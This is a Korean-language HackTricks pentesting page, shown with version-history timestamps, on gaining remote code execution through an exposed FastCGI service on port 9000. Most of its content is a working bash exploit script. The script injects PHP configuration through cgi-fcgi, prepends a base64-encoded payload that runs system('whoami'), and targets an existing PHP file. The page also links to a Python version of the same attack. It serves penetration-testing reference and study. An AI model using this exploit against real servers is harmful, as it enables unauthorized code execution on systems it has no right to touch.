hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md

64 lines
3.4 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 21:30:13 +00:00
# 기본 정보
2021-01-06 17:11:57 +00:00
**FastCGI가 무엇인지** 알고 싶다면 다음 페이지를 확인하세요:
2021-01-06 17:11:57 +00:00
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
2021-11-30 16:46:07 +00:00
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}
2021-01-06 17:11:57 +00:00
기본적으로 **FastCGI**는 **포트** **9000**에서 실행되며 nmap에서 인식되지 않습니다. **일반적으로** FastCGI는 **로컬호스트**에서만 수신합니다.
2021-01-06 17:11:57 +00:00
2022-05-01 12:49:36 +00:00
# RCE
2021-01-06 17:11:57 +00:00
FastCGI가 임의의 코드를 실행하는 것은 매우 쉽습니다:
2021-01-06 17:11:57 +00:00
```bash
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
2024-02-10 21:30:13 +00:00
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
2021-01-06 17:11:57 +00:00
2024-02-10 21:30:13 +00:00
cat $OUTPUT
2021-01-06 17:11:57 +00:00
done
```
2024-02-10 21:30:13 +00:00
또는 다음 파이썬 스크립트를 사용할 수도 있습니다: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가로 배우세요</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)에서 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
</details>